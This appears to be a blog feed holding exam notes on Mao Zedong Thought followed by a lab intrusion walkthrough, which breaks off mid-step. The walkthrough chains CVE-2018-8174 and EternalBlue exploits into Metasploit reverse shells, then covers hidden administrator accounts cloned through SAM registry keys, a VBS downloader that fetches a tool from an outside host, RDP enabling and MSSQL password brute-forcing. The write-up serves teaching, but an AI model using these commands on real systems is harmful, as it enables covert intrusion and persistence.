<li>坚持党对军队的绝对领导</li> <li>建设全心全意为人民服务的人民军队</li> <li>坚持正确的战略战术原则</li> </ol> <p>党的建设的经验:</p> <ol> <li>必须把思想建设始终放在党的建设的首位</li> <li>必须在任何时候都重视党的组织建设</li> <li>必须重视党的作风建设</li> <li>必须联系党的政治路线加强党的建设</li> </ol> <h2 id="半殖民地半封建社会">半殖民地半封建社会</h2> <h3 id="半封建性">半封建性</h3> <p>中国没有发展成为资本主义国家的原因:</p> <ul> <li>地主阶级对农民的剥削依旧存在</li> <li>中国民族资本主义先天不足</li> <li>外国资本、官僚资本、封建势力的多重压迫</li> </ul> <h3 id="半殖民地">半殖民地</h3> <p>受制于帝国主义列强</p> <h3 id="半殖民地半封建的中国主要社会矛盾">半殖民地半封建的中国主要社会矛盾</h3> <p>==帝国主义和中华民族的矛盾、封建主义和人民大众的矛盾==</p> <h2 id="近代中国革命的根本任务">近代中国革命的根本任务</h2> <p>推翻帝国主义、封建主义和官僚资本主义的统治，从根本上推翻反动腐朽的政治上层建筑，变革阻碍生产力发展的生产关系，为建设富强民主的国家、确立人民当家作主的政治制度、改善人民生活扫清障碍，创造必要的前提</p> <h2 id="新民主主义革命的对象">新民主主义革命的对象</h2> <p>==帝国主义、封建主义、官僚资本主义==</p> <p>帝国主义是中国革命的首要对象</p> <p>封建地主阶级是帝国主义统治中国和封建军阀实行专制统治的社会基础</p> <p>中国革命主要打击上述两个敌人，对外推翻帝国主义压迫的民族革命和对内推翻封建地主压迫的民主革命</p> <p>==民族革命和民主革命==两个基本任务，既相互区别，又相互统一。帝国主义是封建地主阶级的靠山，如果不推翻帝国主义的统治，就不能消灭封建地主阶级的统治；地主阶级是帝国主义统治中国的主要社会基础</p> <p>官僚资本主义是依靠帝国主义、勾结封建势力、利用国家政权力量发展起来的买办的封建的国家垄断资本主义</p> <h2 id="新民主主义革命的动力">新民主主义革命的动力</h2> <p>==无产阶级、农民阶级、城市小资产阶级、民族资产阶级==</p> <p>无产阶级是中国革命最基本的动力。民族资产阶级是一个带有两面性的阶级。</p> <h2 id="其它知识点">其它知识点</h2> <ol> <li>认清中国国情，是解决中国革命问题的基本前提</li> <li>近代中国最基本的国情: 半殖民地半封建社会</li> <li>==1919年五四运动==标志着中国资产阶级民主革命进入新民主主义革命，也标志着中国无产阶级开始以独立的政治力量登上历史舞台，由自在阶级转变为自为的阶级，领导革命的无产阶级，指导革命的是马克思列宁主义</li> <li>1939年，毛泽东在《中国革命和中国共产党》一文中==第一次==提出了==新民主主义革命==的科学概念</li> <li>1948年，毛泽东在《==在晋绥干部会议上的讲话==》中完整地表述了总路线的内容</li> <li>==中国革命要分两步走==：==第一步==是完成反帝反封建的新民主主义革命任务；==第二步==是完成社会主义革命任务</li> <li>新民主主义革命的性质: ==资产阶级民主主义革命==</li> <li>新民主主义革命时期，党领导的统一战线: 第一次国共合作的统一战线、工农民主统一战线、抗日民族统一战线、人民民主统一战线</li> <li>党领导的统一战线包含着两个联盟: ==工人阶级同农民阶级、广大知识分子及其他劳动者的联盟==、==工人阶级和非劳动人民的联盟==</li> </ol> <h1 id="第三章-社会主义改造理论">第三章 社会主义改造理论</h1> <h2 id="过渡时期的总路线">过渡时期的总路线</h2> <p>1953年6月，毛泽东正式提出过渡时期的总路线和总任务，12月详细表述</p> <p>==要在一个相当长的时期内，逐步实现国家的社会主义工业化，并逐步实现国家对农业、对手工业和对资本主义工商业的社会主义改造==</p> <h2 id="为什么说新民主主义社会是一个过渡性社会为什么新民主主义社会属于社会主义体系是逐步过渡到社会主义社会的过渡性质的社会">为什么说新民主主义社会是一个过渡性社会(为什么新民主主义社会属于社会主义体系，是逐步过渡到社会主义社会的过渡性质的社会)?</h2> <p><img src="https://ws1.sinaimg.cn/large/006tNc79ly1fz1qu00qp8j30is0c6t9f.jpg" alt="" /></p> <h2 id="怎样理解新民主主义社会的经济政治特点以及社会性质">怎样理解新民主主义社会的经济、政治特点以及社会性质?</h2> <p><img src="https://ws1.sinaimg.cn/large/006tNc79ly1fz1quvp2d2j30eo07kglz.jpg" alt="" /></p> <h2 id="对农业和资本主义工商业的社会主义改造方式和具体步骤是什么">对农业和资本主义工商业的社会主义改造方式和具体步骤是什么?</h2> <p><strong>农业</strong>:</p> <p>1) 积极引导农民组织起来，走互助合作道路 2) 遵循自愿互利、典型示范和国家帮助的原则，以互助合作的优越性吸引农民走互助合作的道路 3) 正确分析农村的阶级和阶层状况，制定正确的阶级政策 4) 坚持积极领导、稳步前进的方针，采取循序渐进的步骤</p> <p>步骤： （1） 对农业的社会主义改造，依次经历了==互助组、初级社、高级社==三个阶段。（2）互助组生产资料私有，只在生产方面组织起来，只具有社会主义萌芽性质。（3）初级社以土地入股和统一经营为特点，集体劳动，在个人收入的分配上实行按劳分配和土地入股分红相结合，具有半社会主义性质。（4）高级社实行生产资料集体所有，集体劳动，按劳取酬，具有完全的社会主义性质。到==1956==年底农业社会主义改造基本完成。</p> <p><strong>资本主义工商业的社会主义改造</strong></p> <p>方法：</p> <ol> <li>采用和平赎买的方法。</li> <li>采取从低级到高级的国家资本主义的过渡形式。</li> <li>把资本主义工商业者改造成为自食其力的社会主义劳动者。</li> </ol> <p>步骤：</p> <ol> <li>主要实行初级形式的国家资本主义。</li> <li>主要实行个别企业的公私合营。</li> <li>是实行全行业的公私合营。</li> </ol> <h2 id="为什么能够采取赎买的方式对资本主义工商业进行和平改造">为什么能够采取赎买的方式对资本主义工商业进行和平改造？</h2> <ol> <li>民族资产阶级具有两面性。 民族资产阶级既有剥削工人的一面，又有愿意接受社会主义改造的一面。</li> <li>中国共产党与民族资产阶级长期保持着统一战线的关系，这就为将工人阶级和民族资产阶级之间存在着的对抗性矛盾转化为非对抗性矛盾并按照人民内部矛盾来处理提供了前提。</li> <li>我国已经有了以工人阶级为领导、工农联盟为基础的人民民主专政的国家政权，建立了强大的社会主义国营经济并掌握了国家的经济命脉，这就造成了私人资本主义在政治上、经济上对社会主义的依赖。</li> <li>当时国家对粮食和工业原料实行统购统销，以及工人对资本家的监督。</li> </ol> <h2 id="如何认识我国社会主义改造的基本经验">如何认识我国社会主义改造的基本经验</h2> <ol> <li>坚持社会主义工业化建设与社会主义改造同时并举。</li> </ol> <p>社会主义改造是根本变革不适应社会主义工业化发展要求的生产关系、解放和发展生产力的社会主义革命，它是围绕社会主义工业化建设这个中心任务进行的。在社会主义改造的同时进行社会主义建设，到1956年社会主义改造基本完成时，我国以重工业为重点的社会主义工业化基础已初步建立。</p> <p>社会主义工业化建设与社会主义改造同时并举，对于在深刻的社会变革中保持社会稳定，粉碎帝国主义的封锁，促进生产力发展，改善人民生活，推动社会进步等方面都具有重要意义。</p> <ol> <li>采取积极引导、逐步过渡的方式。</li> </ol> <p>引导农民逐步走向社会主义的逐步过渡方式，可以使农民感受到组织起来力量大，有利于克服困难，防止新的两极分化，从而提高走合作化道路的觉悟。对手工业改造采取逐步过渡的方式，不仅保护和促进了手工业生产的发展，还为手工业的技术改造创造了条件。对资本主义工商业的改造采取从初级到高级国家资本主义的过渡形式进行和平赎买，避免了激烈的社会震荡和经济衰退。</p> <ol> <li>用和平方法进行改造。</li> </ol> <p>对私有制经济进行所有制的彻底改造是社会主义性质的革命，运用和平的方法进行改造，个体私有者和民族资本家都乐意接受，这不仅保证了社会主义改造的顺利进行和社会的稳定，而且极大地促进了社会主义事业的发展。</p> <h2 id="其他知识点">其他知识点</h2> <ol> <li>新民主主义社会的++五种经济成分++: ==社会主义性质的国营经济、半社会主义性质的合作社经济、农民和手工业者的个体经济、私人资本主义经济、国家资本主义经济==</li> <li>社会阶级: 工人阶级、农民阶级和其他小资产阶级、民族资产阶级</li> <li>==1956年底==，三大改造完成，标志着中国历史上长达数千年的阶级剥削制度的结束和==社会主义基本制度的确立==</li> <li>1954年9月，第一届全国人民代表大会召开和《中华人民共和国宪法》的制定及颁布施行，确立了我国==人民民主专政的国体==和==人民代表大会的政体==</li> </ol> <h2 id="确立社会主义基本制度的重大意义">确立社会主义基本制度的重大意义</h2> <ol> <li>社会主义基本制度的确立是中国历史上最深刻最伟大的社会变革，为当代中国一切发展进步奠定了制度基础，为中国特色社会主义制度创新和发展提供了制度前提。</li> <li>社会主义制度的确立极大地调动了人民群众的劳动积极性，巨大地促进了我国生产力的发展。</li> <li>社会主义基本制度的确立使广大劳动人民成为国家的主人和社会生产资料的主人</li> <li>社会主义基本制度的确立，占世界人口1/4的中国进入社会主义社会，这是世界社会主义发展史上又一个历史性胜利</li> <li>社会主义基本制度的确立不仅再次证明了马列主义的真理性，而且以独创性的理论原则和经验总结丰富和发展了科学社会主义</li> </ol> <h2 id="社会主义改造与我国当今改革的区别">社会主义改造与我国当今改革的区别</h2> <p>社会主义改造在当时的历史条件下，适应国家安全和工业化的需要，将私有制改为了单一的公有制，确立了社会主义基本制度，解决了新民主主义社会的两大主要矛盾，为我国后来的一切进步和发展奠定了基础，它是成功的。</p> <p>今天的改革，在公有制为主体的前提下，鼓励私有制经济发展，是当今历史条件下，进一步发展生产力的需要，是对社会主义基本制度的完善和发展。社会主义改造与今天的改革有着不同的时代背景和不同的性质。</p> <h1 id="第四章-社会主义建设道路初步探索的理论成果">第四章 社会主义建设道路初步探索的理论成果</h1> <h2 id="毛泽东论十大关系确定的基本方针是什么">毛泽东《论十大关系》确定的基本方针是什么？</h2> <p>==努力把党内党外、国内国外的一切积极的因素，直接的、间接的积极因素全部调动起来，为社会主义建设服务==</p> <ul> <li>处理好重工业和轻工业 、农业的关系</li> <li>处理好沿海工业和内地工业的关系</li> <li>要处理好经济建设和国防建设的关系</li> <li>要处理好国家 、生产单位和生产者个人的关系</li> <li>要处理好中央和地方的关系</li> <li>要处理好汉族和少数民族的关系</li> <li>处理好党和非党的关系</li> <li>处理好革命和反革命的关系</li> <li>是非关系</li> <li>中国和外国的关系</li> </ul> <h2 id="毛泽东关于社会主义社会基本矛盾的思想是什么">毛泽东关于社会主义社会基本矛盾的思想是什么？</h2> <ol> <li>==社会主义社会的基本矛盾仍然是生产关系和生产力之间、上层建筑和经济基础之间的矛盾。==</li> <li>社会主义社会的基本矛盾的性质：生产关系和生产力基本适应、上层建筑和经济基础基本适应条件下的矛盾，是在人民根本利益一致基础上的矛盾。</li> <li>社会主义社会的基本矛盾的特点是“非对抗性的矛盾，又相适应又相矛盾”。</li> <li>社会主义社会的基本矛盾经过社会主义社会制度本身的不断改革获得解决。</li> </ol> <h2 id="为什么毛泽东强调正确处理人民内部矛盾的问题是社会主义国家政治生活的主题">为什么毛泽东强调正确处理人民内部矛盾的问题是社会主义国家政治生活的主题？</h2> <p>因为在社会主义社会里仍然存在矛盾，社会是在不断解决矛盾的过程中前进的。改革开放就是改变不利于提高人民生活水平、不利于生产力发展的问题，消除旧的体制，让社会不断向前发展。通过解决这些矛盾，实现中华民族的伟大复兴，实现我们的中国梦。所以，正确处理人民内部矛盾仍然是中国特色社会主义社会的政治生活主题。我们要多建言献策，大力支持正确方针，提高凝聚力。</p> <h2 id="社会主义社会存在两类不同性质矛盾">社会主义社会存在两类不同性质矛盾</h2> <p>这就是敌我矛盾和人民内部矛盾。==敌我矛盾==是人民同敌视和破坏社会主义建设的社会势力之间的矛盾，是根本利益对立基础上的对抗性质的矛盾。==人民内部矛盾==是人民根本利益一致基础上的非对抗性质的矛盾。</p> <p>工人阶级、农民阶级、知识分子各自内部的矛盾和他们相互之间的矛盾、政府与群众之间等矛盾是人民内部矛盾，工人阶级同民族资产阶级的矛盾也是人民内部矛盾。在一定条件下，两类不同性质的矛盾可以相互转化。因此，必须严格区分和正确处理两类不同性质矛盾。</p> <h2 id="依据毛泽东关于社会主义社会存在两类不同性质矛盾理论的主要内容联系我国当前实际试阐明正确处理人民内部矛盾依然是中国特色社会主义国家政治生活的主题">依据毛泽东关于社会主义社会存在两类不同性质矛盾理论的主要内容，联系我国当前实际，试阐明正确处理人民内部矛盾依然是中国特色社会主义国家政治生活的主题？</h2> <h2 id="其他知识">其他知识</h2> <ol> <li>党的八大前后，==1957年2月==毛泽东所作的《==关于正确处理人民内部矛盾的问题==》的报告，系统论述了社会主义社会矛盾的理论</li> </ol> Thu, 10 Jan 2019 00:00:00 +0000 http://WaIdo.github.io/2019/01/10/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0/ http://WaIdo.github.io/2019/01/10/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0/ <p><a href="https://bbs.ichunqiu.com/thread-49407-1-1.html">本文已在i春秋论坛发表</a></p> <p>本文涉及的知识点: <code class="highlighter-rouge">CVE-2018-8174漏洞复现</code>、<code class="highlighter-rouge">内网渗透</code>、<code class="highlighter-rouge">权限维持</code>、<code class="highlighter-rouge">脚本编程</code>、<code class="highlighter-rouge">痕迹清除</code>、<code class="highlighter-rouge">端口转发</code>、<code class="highlighter-rouge">利用MS17-010提权</code></p> <h1 id="cve-2018-8174漏洞简介">CVE-2018-8174漏洞简介</h1> <p>CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞，攻击者可以将恶意的VBScript嵌入到Office文件或者网站中，一旦用户不小心点击，远程攻击者可以获取当前用户权限执行脚本中的恶意代码，该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招，最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中，攻击者能通过Internet Explorer利用此漏洞的特定网站，然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。</p> <h1 id="persistence后门">Persistence后门</h1> <p>Persistence是一款使用安装自启动方式的持久性后门程序，读者可以利用 它创建注册和文件。 参数解释:</p> <ul> <li>A: 自动启动Payload程序</li> <li>S: 系统启动时自动加载</li> <li>U: 用户登录时自动启动</li> <li>X: 开机时自动加载</li> <li>i: 回连的时间间隔</li> <li>P: 监听反向连接端口号</li> <li>r: 目标机器IP地址</li> </ul> <h1 id="环境搭建">环境搭建</h1> <h2 id="拓扑图">拓扑图</h2> <p><img src="http://ww4.sinaimg.cn/large/006tNc79ly1g4keti974lj30sw0cigm1.jpg" alt="" /></p> <h2 id="win-server-2008-对windows-7开启1433端口">Win server 2008 对Windows 7开启1433端口</h2> <ol> <li> <p>选择“打开或者关闭Windows防火墙”把防火墙打开，然后选择“高级设置”，选择“创建规则”来指定端口。</p> </li> <li> <p>在“入站规则”里选择刚才创建的规则，名称是“1433”，如下图所示 <img src="http://ww3.sinaimg.cn/large/006tNc79ly1g4keu4pyvbj30jp0g3glj.jpg" alt="" /></p> </li> <li> <p>在属性对话框中，选择“远程IP地址”时，使用Windows7 的IP地址：172.20.10.177，配置完成后，Win server 2008 对Windows7成功开启1433端口 <img src="http://ww4.sinaimg.cn/large/006tNc79ly1g4keuhxo76j30ga0f20su.jpg" alt="" /></p> </li> </ol> <h1 id="内网攻击过程">内网攻击过程</h1> <h2 id="1号机获得2号机的权限">1号机获得2号机的权限</h2> <h3 id="利用cve-2018-8174漏洞获取2号机windows-7权限添加攻击者用户">利用CVE-2018-8174漏洞获取2号机(Windows 7)权限，添加攻击者用户</h3> <ol> <li> <p>从github上克隆CVE-2018-8174的EXP到Kali Linux <br /> <code class="highlighter-rouge">git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git</code> <img src="http://ww1.sinaimg.cn/large/006tNc79ly1g4kevk9rwyj30ix0360su.jpg" alt="" /></p> </li> <li> <p>生成恶意html和rtf文件 <code class="highlighter-rouge">cd CVE-2018-8174_EXP/</code></p> </li> </ol> <p><code class="highlighter-rouge">python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444</code> <img src="http://ww4.sinaimg.cn/large/006tNc79ly1g4kewqucnij30ka040mxb.jpg" alt="" /></p> <ol> <li> <p>将恶意html文件移动到网站根目录，启动apache2服务 <code class="highlighter-rouge">cp exploit.html /var/www/html/</code> <code class="highlighter-rouge">service apache2 start</code> <img src="http://ww3.sinaimg.cn/large/006tNc79ly1g4kex3gmd9j30i6020glj.jpg" alt="" /></p> </li> <li>新打开一个终端，生成MSF监听 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfconsole -x "use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run" </code></pre></div> </div> <p><img src="http://ww3.sinaimg.cn/large/006tNc79ly1g4kexf5b9qj30kb0dut9b.jpg" alt="" /></p> </li> <li>受害者点击恶意链接</li> </ol> <p><img src="http://ww4.sinaimg.cn/large/006tNc79ly1g4key50mn4j30p60fa0t2.jpg" alt="" /></p> <ol> <li>在kali里接收到了shell，可在meterpreter中管理shell 发现非管理员权限</li> </ol> <p><img src="http://ww2.sinaimg.cn/large/006tNc79ly1g4kezlqn4jj30kj0dtjs6.jpg" alt="" /></p> <p><img src="http://ww2.sinaimg.cn/large/006tNc79ly1g4kf0bahk0j30n80ebmy2.jpg" alt="非管理员权限" /></p> <ol> <li>使用MS17-010模块进行提权 <code class="highlighter-rouge">use auxiliary/scanner/smb/smb_ms17_010</code> <img src="http://ww4.sinaimg.cn/large/006tNc79ly1g4kf0y4dmej30iv01bgli.jpg" alt="使用ms17-010模块" /></li> </ol> <p>在运行该模块之前，需要设置相关选项，我们使用show options查看配置信息</p> <p><img src="http://ww4.sinaimg.cn/large/006tNc79ly1g4kf24u3k0j30m2081t96.jpg" alt="show options" /></p> <ol> <li>需要设置目标地址，设置命令：<code class="highlighter-rouge">set RHOSTS 192.168.114.138</code></li> </ol> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-5c2132e1f6057474.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>9.设置完成后，执行run或exploit命令，等待执行结果，发现存在永恒之蓝漏洞 <img src="https://upload-images.jianshu.io/upload_images/7216746-c863abe6f822f57e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>10.使用漏洞利用模块</p> <p><code class="highlighter-rouge">use exploit/Windows/smb/ms17_010_eternalblue</code> <img src="https://upload-images.jianshu.io/upload_images/7216746-b5da81f9ba784923.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>11.查看配置信息，并设置标记为yes的属性,<code class="highlighter-rouge">show options</code>,目标机host 地址:192.168.114.138,<code class="highlighter-rouge">set RHOST 192.168.114.138</code> <img src="https://upload-images.jianshu.io/upload_images/7216746-8108fffa5655699a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li>选择载荷payload，也就是shellcode,此处我们选择回连至控制端 shell的payload</li> </ol> <p><code class="highlighter-rouge">set payload Windows/x64/meterpreter/reverse_tcp</code> <img src="https://upload-images.jianshu.io/upload_images/7216746-94b7ac7fd10bbafc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>同样，载荷也需要进行配置，show options查看配置信息 配置中缺少本地主机 LHOST，设置一下</p> <p><code class="highlighter-rouge">set LHOST 192.168.114.130</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-f92afef3933d1668.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-a8bdd852963a3221.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li> <p>完成配置后，运行exploit或者run,开始执行漏洞利用模块 成功获取来自目标主机的Session会话 <img src="https://upload-images.jianshu.io/upload_images/7216746-ef0f781940289b67.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> </li> <li> <p>查看受害者机器相关信息 <img src="https://upload-images.jianshu.io/upload_images/7216746-30582f706031fa0e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> </li> </ol> <p>15.成功使用MS17010获得系统权限</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-ae1b1f4c1f161dfe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li>发现未开启3389端口 <img src="https://upload-images.jianshu.io/upload_images/7216746-730f0208daa220a3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></li> </ol> <p>17.添加3389入站规则</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-16ecfd2c2b0b968a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li>开启3389端口 <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f </code></pre></div> </div> </li> </ol> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-aebecfc092ff753d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li> <p>成功打开3389端口 <img src="https://upload-images.jianshu.io/upload_images/7216746-990ee071c3b394bc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> </li> <li> <p>创建管理员用户Waldo</p> </li> </ol> <p><code class="highlighter-rouge">net user Waldo 123456hhhh. /add</code></p> <p><code class="highlighter-rouge">net localgroup administrators Waldo /add</code> <img src="https://upload-images.jianshu.io/upload_images/7216746-147ac94ad48c391c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li>使用Waldo账户远程登录 <code class="highlighter-rouge">portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138</code> <img src="https://upload-images.jianshu.io/upload_images/7216746-67015e3cdf761f86.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></li> </ol> <p><code class="highlighter-rouge">rdesktop 127.0.0.1 -u Waldo -p 123456hhhh.</code> <img src="https://upload-images.jianshu.io/upload_images/7216746-ed54dca58f51c87b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h3 id="添加超级隐藏管理员账户">添加超级隐藏管理员账户</h3> <p><code class="highlighter-rouge">net user test$ 123456 /add</code></p> <p><code class="highlighter-rouge">net localgroup administrators test$ /add</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-bad28f2c69bfe940.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>但在管理账户面板依然能够看见，下面要解决这个问题 <img src="https://upload-images.jianshu.io/upload_images/7216746-d1a120b5c4daeab2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在注册表<code class="highlighter-rouge">HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names</code>下找 到新建的帐户test$</p> <p>获取默认类型为0x3ec，将注册表<code class="highlighter-rouge">HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$</code>导出为1.reg</p> <p>在注册表下能够找到对应类型名称的注册表项 <code class="highlighter-rouge">HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-083b6081dc7dd0be.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>右键将该键导出为2.reg，保存的文件信息如下图</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-716b0a3accb2a79e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="42.png" /></p> <p>默认情况下，管理员帐户Administrator对应的注册表键值为<code class="highlighter-rouge">HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4</code> 同样，右键将该键导出为3.reg</p> <p>将注册表项<code class="highlighter-rouge">HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA</code>下键<code class="highlighter-rouge">F</code>的值替换为<code class="highlighter-rouge">HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4</code>下键<code class="highlighter-rouge">F</code>的值，即2.reg中键<code class="highlighter-rouge">F</code>的值替换成3.reg中键<code class="highlighter-rouge">F</code>的值</p> <p>替换后，如图</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-2dd0a6a251f1e286.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>命令行删除特殊账户: <code class="highlighter-rouge">net user test$ /del</code></p> <p>导入reg文件:</p> <p><code class="highlighter-rouge">regedit /s 1.reg</code></p> <p><code class="highlighter-rouge">regedit /s 2.reg</code></p> <p>隐藏账户制做完成，控制面板不存在帐户test$</p> <p>通过net user无法列出该帐户 计算机管理-本地用户和组-用户也无法列出该帐户 但可通过如下方式查看: <code class="highlighter-rouge">net user test$</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-d859c1e608417eca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>命令窗口打开后，键入<code class="highlighter-rouge"> net user test$/active:yes</code>。输完后按一下回车键看到“命令成功完成”信息即表明超级隐藏账户test$ 账户已启用</p> <p>端口转发: <code class="highlighter-rouge">portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138</code></p> <p>使用超级隐藏账户登录: <code class="highlighter-rouge">rdesktop 127.0.0.1 -u test$ -p 123456</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-820af844be54e563.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>Windows 不会显示隐藏账户</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-67ce675d571402e8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h3 id="使用vbs脚本上传sqltoolsexe">使用vbs脚本上传SQLTOOLS.exe</h3> <p>脚本如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>url = "http://wjs001.cn/lcx.exe" '网络上的文件地址 saveas = "c:\lcx.exe" '保存成的本地文件 Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象 Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象 Call xmlhttp.open("GET",url,False)'打开连接 Call xmlhttp.send()'发送请求 stream.mode = 3 '设置数据流为读写模式 stream.type = 1 '设置数据流为二进制模式 Call stream.open()'打开数据流 Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流 Call stream.savetofile(saveas,2)'将数据流保存为文件 '释放对象 Set xmlhttp = Nothing Set stream = Nothing </code></pre></div></div> <p>在shell下，创建文件夹: <code class="highlighter-rouge">mkdir C:\\hack\\</code></p> <p>将脚本上传到创建好的名为hack的文件夹下:</p> <p><code class="highlighter-rouge">meterpreter &gt; upload /root/down1.vps C:\\hack</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-912e95d214764f11.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>查看C:\hack确认上传成功: <img src="https://upload-images.jianshu.io/upload_images/7216746-96f99182fd8b4bb4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>运行cscript down1.vbs，上传SQLTOOLS软件: <img src="https://upload-images.jianshu.io/upload_images/7216746-bbda43568421924f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><code class="highlighter-rouge">Kali对Windows 7(192.168.114.138)的权限维持见**权限维持**模块</code></p> <h2 id="从windows-7进攻windows-server-2008">从Windows 7进攻Windows server 2008</h2> <h3 id="对windws-server-2008的sa账户进行爆破">对Windws server 2008的sa账户进行爆破</h3> <ol> <li>使用nmap扫描发现172.20.10.208开了1433端口</li> </ol> <p><code class="highlighter-rouge">nmap -p1433 --open 172.20.10.0/24</code></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-7e73464c4cce2f11.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <ol> <li>使用ms-sql-brute模块对Win server 2008的sa账户进行爆破，获得用户名为sa，密码为123456</li> </ol> <p>name.txt和password.txt是爆破用的字典</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb=C:\Users\Waldo\Desktop\password.txt 172.20.10.208 </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-21df0b8e26c6adcb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h3 id="利用sqltoos获取win-server-2008-的权限">利用sqltoos获取Win server 2008 的权限</h3> <ol> <li> <p>使用sqltools进行sql连接 <img src="https://upload-images.jianshu.io/upload_images/7216746-5fe67b406e11d798.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> </li> <li> <p>用xp_cmdshell关闭防火墙限制</p> 